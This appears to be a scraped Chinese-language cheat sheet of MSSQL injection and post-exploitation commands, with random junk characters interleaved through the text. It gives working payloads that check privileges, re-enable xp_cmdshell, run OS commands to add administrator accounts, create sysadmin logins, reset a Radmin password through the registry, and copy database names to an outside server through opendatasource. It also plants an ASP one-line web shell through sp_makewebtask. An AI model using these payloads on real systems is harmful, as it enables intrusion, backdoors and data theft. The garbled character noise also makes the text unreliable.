//看看是什么权限的
, o$ F/ X+ H$ @and 1=(Select IS_MEMBER('db_owner'))$ d& R8 C4 l8 L2 q! ]0 Z
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
6 O$ ?; I: H4 F6 G2 J) y4 q2 b x$ W- h/ x4 q2 f
//检测是否有读取某数据库的权限# ^) j3 w0 R5 x
and 1= (Select HAS_DBACCESS('master'))
5 g) v" C! j- g0 TAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
8 b) b" H+ J; a( u* g4 k+ G+ n* C1 a$ d5 z9 G
+ h% t+ n$ Z' \
数字类型- S( D2 ]% O" W2 F% q1 [; m2 ]- G7 [
and char(124)%2Buser%2Bchar(124)=0& s. ?+ f4 b7 m
, F0 }2 d9 [; |: e& k! I3 t字符类型+ w% H# d5 S6 H6 G
' and char(124)%2Buser%2Bchar(124)=0 and ''='
* i3 I/ ]; H" v' }4 R
/ U& @( o8 \" n4 A! c搜索类型4 E; C. X0 t$ @% I: t) C9 p6 w* P1 C
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
1 q3 |1 q8 `2 k9 [- a) l2 v, K8 y2 ^# l- G
爆用户名% n" Y) U1 Z4 P X; n1 M& m& H
and user>0* d# x& E* V. O/ d' z {3 f
' and user>0 and ''='
0 \, i' G9 S6 l- o( v# I, y( z2 P. t2 G/ k+ a
检测是否为SA权限
3 W0 h6 ]$ Y1 J P9 K) Band 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; {9 J4 w6 v7 P; O G1 F0 u0 KAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
1 _, P+ Z; G& q! h7 w& G1 Z2 q0 I; X% Z0 C3 G
检测是不是MSSQL数据库
- r$ a9 ~. E" W: i8 C; K5 H8 Iand exists (select * from sysobjects);--, O0 f7 H% t' v4 {) W6 f3 e
7 P" b0 g3 ]) P5 e; o/ L: ?8 Q+ e
检测是否支持多行" w9 b" V! J8 Z* y2 X
;declare @d int;--. J. ]1 w. O: e, b5 O1 O
4 P6 I5 s; X* k7 L8 _# Y恢复 xp_cmdshell. X) I4 M2 v3 a" J8 N! g
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--0 p B) E) S% M7 I, ]: {
' a- j3 h+ z; }( k$ w8 m6 N
9 f/ |/ h. b9 V4 h7 t, f6 Fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')/ x: \. }5 y; T5 N; B) `, F3 m1 H
* ^4 _1 K; }1 R' ]; W
//-----------------------4 M1 y4 k# ]9 s7 t
// 执行命令
& l7 l* r6 ]( I+ M+ y# j//-----------------------
1 ]; N3 T6 H( M5 l* t a首先开启沙盘模式:" N7 R+ V, t3 i2 _" q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',11 u+ h% v/ C% ?. k N
' |0 b1 Q8 B' G+ N. d然后利用jet.oledb执行系统命令
- u. ]8 i0 p6 q% v/ x& {4 Mselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
/ j4 Y( w- T+ J8 T9 E! Q0 q5 B, q& n& z1 j- g0 o
执行命令
9 j" o8 O( F2 {$ S5 @. ];DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
! O$ z6 I+ q5 P7 ]" [, |/ L
# X3 {4 v$ \/ h7 jEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'# x0 w" }% w3 c" _
3 H( e+ Q& G( _9 [, r4 i5 O判断xp_cmdshell扩展存储过程是否存在:9 f2 _1 ], D; S! E8 p* z# G" E
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')4 ^! s8 R; @. M4 c& a0 X* g
) ]3 g- g/ B+ ~: S O" J
写注册表
1 g% F q+ x# _5 |% E- Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 p1 p: f5 t9 S8 ^- L
5 l* X& f# A, P+ iREG_SZ
2 S/ C$ o4 c1 C. ^1 V/ h8 }4 ?
6 f( S% k3 U, T; F; T7 K& s6 O读注册表9 R- r/ u g" g. W
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
* S+ D# v! O F* s+ [2 n
1 ]6 n2 r" K8 W1 C2 s读取目录内容" x1 k% b2 G8 ~' p) n& z) t
exec master..xp_dirtree 'c:\winnt\system32\',1,1, I3 A9 ^5 R5 ^; i+ d6 v+ @& O
0 `' F& f6 o8 `4 Y# i& f+ T
: c7 u+ D' n/ @( R% S7 a
数据库备份, K3 |* q8 {1 w
backup database pubs to disk = 'c:\123.bak'
1 K+ D( j. ?2 @3 u. i, r9 [, ? B* D) f. K0 D$ P7 I- ]% v
//爆出长度4 I! W* @- Y) F! [/ o) `
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
0 e( ^: Y* O/ W x3 @5 f( w+ m
1 _) i( I- j- V2 K- r y9 o' X! N( X
, {! W$ O' q# l更改sa口令方法:用sql综合利用工具连接后,执行命令:
], f& f% {% ?7 d1 b2 c& hexec sp_password NULL,'新密码','sa'
, h9 _; Q* ~1 p
. |; u& l5 x4 @4 {5 Z添加和删除一个SA权限的用户test:
- a8 y0 G- \* ?exec master.dbo.sp_addlogin test,95307721 J, }! B. t# ?# J* r8 ^+ n
exec master.dbo.sp_addsrvrolemember test,sysadmin/ O! _. ]5 O. F+ q6 {. t$ ~
( n& c% r. ^ O9 i0 A, L
删除扩展存储过过程xp_cmdshell的语句:' x3 x! ^2 U% s
exec sp_dropextendedproc 'xp_cmdshell': w5 I1 z1 w8 t. G/ E7 l' m
" m5 @ a- ]6 |: U
添加扩展存储过过程
0 D3 c6 |: r4 _6 q HEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
2 z4 w# f2 c# z `7 O$ vGRANT exec On xp_proxiedadata TO public/ i- m) h* X9 V* ` ~5 d9 f
2 Y! p% [6 e2 F* ?/ @2 \) p0 z5 O3 d9 M2 t- f
停掉或激活某个服务。3 r" Z4 N' B& I
2 Z8 ^. B$ f0 p+ L9 S7 ^$ G
exec master..xp_servicecontrol 'stop','schedule'
* h [4 n) o" i$ zexec master..xp_servicecontrol 'start','schedule'' Z$ m* @# p5 }+ D: }2 c
) v8 j% j4 ?5 I* j. Z" S3 M M
dbo.xp_subdirs
: N* l3 `0 W6 S8 p- B" A2 N" G. h
! A: s6 G0 t) D& I# C只列某个目录下的子目录。! Q7 n l: R( [% L; t. j9 p5 B
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', R2 \" q/ A' ^3 T5 }; r E V& e' x
. g a0 f, K9 {! ^: b2 E
dbo.xp_makecab6 x0 a/ W. s& X
7 O1 F n) e. r% @; k将目标多个档案压缩到某个目标档案之内。
5 P/ c4 J& o8 l& v5 G- J所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
: {" J; A6 _3 H5 j$ B/ \/ b; B, Z- {/ F$ K
dbo.xp_makecab
; ]2 `* `- T$ K- v' V7 r'c:\test.cab','mszip',1,
6 n& r0 ^8 R9 W0 \'C:\Inetpub\wwwroot\SQLInject\login.asp',
- l$ J0 _( ^) ['C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
4 e `6 V! ^ Y0 ~% X8 c0 P3 S5 C2 A5 V% {1 d- }& {* L
xp_terminate_process7 n* k+ u5 k- ]& B b; q: x* |
7 o# V- w1 O/ U/ _ i停掉某个执行中的程序,但赋予的参数是 Process ID。4 W7 W$ d6 [" D/ w% ~/ d: y, |: D6 @
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID% W$ C* I% y f8 ^
2 |- f: @( ~: f4 pxp_terminate_process 2484
: w' \. c9 U5 N+ u5 c% C
, C1 s5 {; L, X' q! e% M* Exp_unpackcab& r9 F' b* \- C4 e
: P1 a8 }$ W7 g9 g解开压缩档。9 l4 q/ r( }3 b1 H
5 O. S* v- y, I3 j0 C7 l
xp_unpackcab 'c:\test.cab','c:\temp',1( _3 n; K J$ @# n4 N
1 T, `6 x+ v. T+ z( T0 D: G
& h; \9 q+ q9 q1 ^
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234* g) L! \1 |: ?( H
! P; b; K6 ~: qcreate database lcx;+ L) [6 f" l; q( m. [9 H
Create TABLE ku(name nvarchar(256) null);8 n8 f8 e# p8 u6 M0 w2 z) r
Create TABLE biao(id int NULL,name nvarchar(256) null);
$ M) S V# f7 L* U5 W3 m2 n* u8 k8 F$ ~
//得到数据库名' Z5 n& `! d/ ~$ U" ]3 Q: x
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
; k- j+ G! K% {* h) O8 @ r, b/ b6 Y+ ]3 j
( A2 ]/ B6 u. X//在Master中创建表,看看权限怎样
- T3 O, s( ~* J9 z; ^" ]Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; a2 c- I. \. S- B- Y% d
! f; a& W/ A' R7 r2 s& d0 [8 |) b$ P用 sp_makewebtask直接在web目录里写入一句话马:7 q) M3 y2 V3 N$ ^( e3 s
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--2 q# b; f" q K9 e
: l1 D( j4 ~& p( c
//更新表内容& r9 [: I9 d$ A+ i0 y
Update films SET kind = 'Dramatic' Where id = 123
* F ~- v! U4 q' U" M+ {) V" m0 C; S5 r( M. C6 `1 R k
//删除内容1 S% P" z4 L9 a3 t2 i
delete from table_name where Stockid = 3 |